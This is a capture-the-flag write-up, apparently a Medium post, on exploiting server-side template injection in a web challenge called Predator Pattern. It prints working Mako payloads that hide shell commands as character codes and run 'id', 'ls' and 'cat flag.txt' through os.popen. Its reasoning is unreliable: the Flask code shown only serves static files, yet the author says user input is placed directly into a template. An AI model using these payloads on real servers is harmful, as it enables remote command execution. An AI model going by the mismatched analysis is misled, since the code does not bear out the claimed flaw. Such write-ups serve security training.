Predator Pattern Web Challenge Write-up

Hello everyone and welcome to this new write-up, in which we will solve the H*B Web challenge named Predator Pattern.

the challenge logo

CHALLENGE DESCRIPTION

First, let’s discover the description of the challenge together.

Welcome to SwagShop, the leading platform for exclusive interdimensional merchandise. As a trusted member of our evaluation team, you have been tasked with conducting a thorough assessment of our systems. This includes reviewing the storefront experience, analyzing transaction processes, and identifying any irregularities to ensure the platform’s security, operational integrity, and seamless performance. Your insights are critical to maintaining SwagShop’s reputation as a reliable and innovative marketplace for our valued enterprise customers.

let’s begin

CHALLENGE ENUMERATION

Now that we have the description, let’s move on to downloading the challenge file.

the download challenge link

And here, we can consequently see the project architecture and a Python app file.

project architecture

And here is the content of the app file.

#!/usr/bin/env python3
import os
from flask import Flask, jsonify, send_from_directory

app = Flask(__name__)

HOST = "0.0.0.0"
PORT = int(os.getenv("PORT", "8080"))
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
STATIC_DIR = os.path.join(BASE_DIR, "static")

@app.route("/")
def index():
    return send_from_directory(STATIC_DIR, "index.html")

@app.route("/static/<path:path>")
def static_files(path):
    return send_from_directory(STATIC_DIR, path)

@app.route("/healthz")
def healthz():
    return jsonify({"ok": True})

if __name__ == "__main__":
    print(f"Marine portal listening on {HOST}:{PORT}")
    app.run(host=HOST, port=PORT)

We can see that the application takes user input as an argument and places it directly into the template,

which can lead to an SSTI attack.

EXPLOIT THE VULNERABILITY

Get Joseph "n3m0” KANKO’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Let’s start by testing a simple payload, such as ${4*4}, in the checkout page fields.

And here we can see that it works quite well, so the application is indeed vulnerable.

EXPLOIT A SSTI FOR HAVE A FLAG.

Now that we have confirmed the vulnerability, we can exploit it to retrieve flag.txt.

We can therefore use Swissky’s payloads.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md#mako

Specifically, this one.For id.

${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}

and here is the result

and we can therefore use this payload to list the files

${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[108,115])).read()}

The result of the file listing

and this one to get the contents of the flag.

${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[99,97,116,32,102,108,97,103,46,116,120,116])).read()}

and we can therefore validate the challenge with this flag.

That’s all for this challenge see you in the next one.

Thanks! Don’t forget to like, comment, and share.

Bye Bye Bye